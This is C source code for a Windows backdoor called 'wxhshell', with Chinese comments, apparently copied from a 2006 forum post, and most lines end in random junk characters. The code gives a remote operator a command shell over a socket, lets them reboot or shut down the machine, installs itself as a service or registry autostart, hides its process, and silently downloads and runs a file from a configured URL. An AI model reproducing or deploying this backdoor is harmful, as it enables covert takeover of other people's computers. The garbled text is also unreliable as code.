      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vHi%UaD-y  
    break; )Jt. Z^J<  
  } u`v&URM  
  // 安装 ag'hHFV  
  case 'i': { bF _]j/  
    if(Install()) L?ZSfm2<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tl dK@!E3  
    else DuC#tDP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2J=`"6c  
    break; a en%  
    } [8'?G5/n  
  // 卸载 k]ZE j/y~  
  case 'r': { "M/c0`>C!i  
    if(Uninstall()) gP>pb W_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b%l H=u  
    else .>W [  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lJ3VMYVrUP  
    break; ;!f='QuA  
    } cW^LmA  
  // 显示 wxhshell 所在路径 6%V:Z  
  case 'p': { >vD}gGBe  
    char svExeFile[MAX_PATH]; ;bwBd:Y  
    strcpy(svExeFile,"\n\r"); JWHsTnB  
      strcat(svExeFile,ExeFile); }[leUYi`  
        send(wsh,svExeFile,strlen(svExeFile),0); l2;$qNAo  
    break; M"*NV(".g  
    } 4A+g-{d  
  // 重启 KTYjC\\G  
  case 'b': { i6yA>#^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vyS>3(NZ  
    if(Boot(REBOOT)) |ru!C(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XW aa`q  
    else { e/hCYoS1n  
    closesocket(wsh); UXji$|ET6  
    ExitThread(0); )ThNy:4  
    } Rir0^XqG  
    break; by1q"\-,  
    } 6W_:w  
  // 关机 z#G\D5yX[*  
  case 'd': { o|>=< l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L4^/O29  
    if(Boot(SHUTDOWN)) r.)n>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(j]=n6 r  
    else { Ch{6=k bK  
    closesocket(wsh); @~vg=(ic(  
    ExitThread(0); <e#v9=}DI  
    } MgP|'H3\  
    break; 2MB>NM<xO  
    } ^6# yL6E,~  
  // 获取shell Ak3^en  
  case 's': { G1it 3^*$  
    CmdShell(wsh); AAfhh5i  
    closesocket(wsh); <Z t]V`-  
    ExitThread(0); psvc,V_*  
    break; 1<~n2}   
  } +o3n%( ^~  
  // 退出 a1_ N~4r`  
  case 'x': { `yq) y>_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8p829  
    CloseIt(wsh); =W2.Nc  
    break; (]sm9PO  
    } =P,mix|  
  // 离开 XR8`,qH>  
  case 'q': { xuHP4$<h3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B (eXWWT_  
    closesocket(wsh); Q0`@=5?-  
    WSACleanup(); CD`6R.  
    exit(1); xBc$qjV  
    break; _"F=4`lJ  
        } _!|$i  
  } |H=5Am  
  } [qxpu{  
O:+y/c  
  // 提示信息 ~{g/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qm#?DSLap  
} :9 &@/{W  
  } i:N-Q)<Q*)  
ph)=:*A6&  
  return; -mO<(wfV>  
} fFC9:9<  
S&=@Hj-  
// shell模块句柄 >g+Y//Z  
int CmdShell(SOCKET sock) Gyy4)dP  
{ .FYRi_Zd  
STARTUPINFO si; MA 6uJT  
ZeroMemory(&si,sizeof(si)); hz2f7g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7pH[_]1"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yk7^?W  
PROCESS_INFORMATION ProcessInfo; Pj^Ccd'>=  
char cmdline[]="cmd"; ,+5 !1>\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (/P-9<"U  
  return 0; T< <N U"n  
} (WGEX(|  
DY87NS*HF  
// 自身启动模式 0NSCeq%;6q  
int StartFromService(void) i,y{*xBT  
{ JkNRXC:  
typedef struct %8"Aq  
{ K!G/iz9SB  
  DWORD ExitStatus; BQ~\p\  
  DWORD PebBaseAddress; K+U0YMRmz  
  DWORD AffinityMask; 0te[i*G  
  DWORD BasePriority; Nu}Zsb|{  
  ULONG UniqueProcessId; Ys%d  
  ULONG InheritedFromUniqueProcessId; #8qhl  
}   PROCESS_BASIC_INFORMATION; dTjDVq&Hz  
_&%FGcAS  
PROCNTQSIP NtQueryInformationProcess; 6H=gura&   
V503  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0j;q^>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >x>/}`  
Al=ByX@  
  HANDLE             hProcess; M|NQoQ8q  
  PROCESS_BASIC_INFORMATION pbi; =f!clhO  
j#0JD!Vr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @VPmr}p:{  
  if(NULL == hInst ) return 0; .+,U9e:%  
d6W\ \6V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tzthc*-<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vA}_x7}n(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Ve,Y  
0<O()NMv  
  if (!NtQueryInformationProcess) return 0; (zh[1[a  
9:P]{}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v2_` iwE  
  if(!hProcess) return 0; FgL892[  
$1g1Bn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L$BV`JWPw  
^GyZycch  
  CloseHandle(hProcess); 'qvj[lpGr  
<Se9 aD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K{{_qFj@<y  
if(hProcess==NULL) return 0; SnR2o3r-Of  
T;?k]4.X  
HMODULE hMod; $ dF3@(p  
char procName[255]; SiUu**zC  
unsigned long cbNeeded; 8xg^="OJ  
s8)`wH ?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vENf3;o0  
px "H  
  CloseHandle(hProcess); f:-l}Zj  
eIfQ TV  
if(strstr(procName,"services")) return 1; // 以服务启动 BjeD4  
NB4O,w  
  return 0; // 注册表启动 -sfv"?  
} n{i,`oQ"  
,T`,OZm  
// 主模块 Id##367R  
int StartWxhshell(LPSTR lpCmdLine) 4A6Yl6\Y  
{ {eV8h}KIl  
  SOCKET wsl; [IQ|c?DxpL  
BOOL val=TRUE; ZGDT 6,  
  int port=0; kJp~'\b  
  struct sockaddr_in door; >a,D8M?  
=jJEl=*S  
  if(wscfg.ws_autoins) Install(); Z sTtSM\Ac  
eM:J_>7t  
port=atoi(lpCmdLine); m$kQbPlatN  
NOuG#P  
if(port<=0) port=wscfg.ws_port; 'Vo8|?.WhX  
^w.hI5ua)  
  WSADATA data; {PcJuRTHB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m&Mupl  
G$+v |z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O,%,dtD[a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wc[,kc  
  door.sin_family = AF_INET; )&Oc7\J,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /v8Q17O?e  
  door.sin_port = htons(port); RhH 1nf2UR  
? T6K]~g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NEIkG>\7q  
closesocket(wsl); <4"-tYa  
return 1; {P]C>  
} V@G#U[D  
@#)` -]g  
  if(listen(wsl,2) == INVALID_SOCKET) { pn gto  
closesocket(wsl); 6'r8.~O  
return 1; Ki\.w~Qs  
} X#lNS+&='  
  Wxhshell(wsl); sQvRupYRO  
  WSACleanup(); VThr]$2Y  
!hBpon  
return 0; rp||#v0l!w  
2Wz8E2.  
} ZgP%sF  
//q(v,D%Q  
// 以NT服务方式启动 I6W`yh`I)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PgWWa*Ew  
{ ,50  
DWORD   status = 0; 3'0Pl8  
  DWORD   specificError = 0xfffffff; pk/#RUfT+  
]:<! (  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |h>PUt@LL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {LO Pm1K8Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2 |s ohF  
  serviceStatus.dwWin32ExitCode     = 0; I,j4 BU4  
  serviceStatus.dwServiceSpecificExitCode = 0; jxh:z  
  serviceStatus.dwCheckPoint       = 0; )/H;5 cn  
  serviceStatus.dwWaitHint       = 0; C82_ )@96  
g* q#VmE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ts5)r(  
  if (hServiceStatusHandle==0) return; `>gG"1,]  
0bg"Q4  
status = GetLastError(); e1m?g&[  
  if (status!=NO_ERROR) q$Gs;gz^(  
{ SB_Tzp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z/#_Swv  
    serviceStatus.dwCheckPoint       = 0; 2/LSB8n|  
    serviceStatus.dwWaitHint       = 0; O VV@  
    serviceStatus.dwWin32ExitCode     = status; : \+xXb{  
    serviceStatus.dwServiceSpecificExitCode = specificError; rFRcK>X\L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?+yr7_f3*  
    return; _pvB$&  
  } MMM tB6  
-+#%]P8l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;H_/o+  
  serviceStatus.dwCheckPoint       = 0; X'Ss#s>g  
  serviceStatus.dwWaitHint       = 0; ^X=Q{nB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iNO>'7s7  
} {VgE0 7r  
LW %AZkAx  
// 处理NT服务事件,比如:启动、停止 DXFu9RE\{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) { i5?R,a)  
{ oxwbq=a6yV  
switch(fdwControl) @T'^V0!-q:  
{ >rSjP1-F  
case SERVICE_CONTROL_STOP: zC?' Qiuh*  
  serviceStatus.dwWin32ExitCode = 0; "s2_X+4oY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L$ZjMJ  
  serviceStatus.dwCheckPoint   = 0; ~P4C`Q1PT#  
  serviceStatus.dwWaitHint     = 0; D -}>28  
  { R=D]:u<P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2w?q7N%  
  } 7+O)AU{  
  return; 8Sbz)X  
case SERVICE_CONTROL_PAUSE: 6#=jF[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $%<{zWQm  
  break; B=_w9iVN  
case SERVICE_CONTROL_CONTINUE: :ym?]EL4o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  *}?[tR5  
  break; 6x+ujUBkK  
case SERVICE_CONTROL_INTERROGATE: =o@;K~-  
  break; =Tj{)=^/#  
}; =7Ln&tZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <_EKCk  
} 8fC4j`!  
VUb>{&F[  
// 标准应用程序主函数  ~?ab_CY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =|t-0'RsN  
{ l45/$G7  
Y]z :^D  
// 获取操作系统版本 ^Hd[+vAvR  
OsIsNt=GetOsVer(); ER0 Yl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?OD$`{1  
xc^@"  
  // 从命令行安装 mH o#"tc  
  if(strpbrk(lpCmdLine,"iI")) Install(); b--=GY))F  
8-Abg:)  
  // 下载执行文件 2d)Dhxzxk  
if(wscfg.ws_downexe) { d&AG~,&d|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1\}vU  
  WinExec(wscfg.ws_filenam,SW_HIDE); uP~,]ci7  
} a:FU- ^B4~  
N*Y[[N(  
if(!OsIsNt) { pUIN`ya[[  
// 如果时win9x,隐藏进程并且设置为注册表启动 0PzSp ]  
HideProc(); mm/\\my  
StartWxhshell(lpCmdLine); VB |?S|<  
} RS5<] dy  
else ~_THvx1  
  if(StartFromService()) ^y<^hKjV  
  // 以服务方式启动 (i "TF2U,<  
  StartServiceCtrlDispatcher(DispatchTable); c&['T+X  
else o9kJ90{D=  
  // 普通方式启动 r,5e/X  
  StartWxhshell(lpCmdLine); 'gwh:  
{K^5q{u  
return 0; w$]G$e  
}
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只看该作者 1 发表于: 2006-10-10
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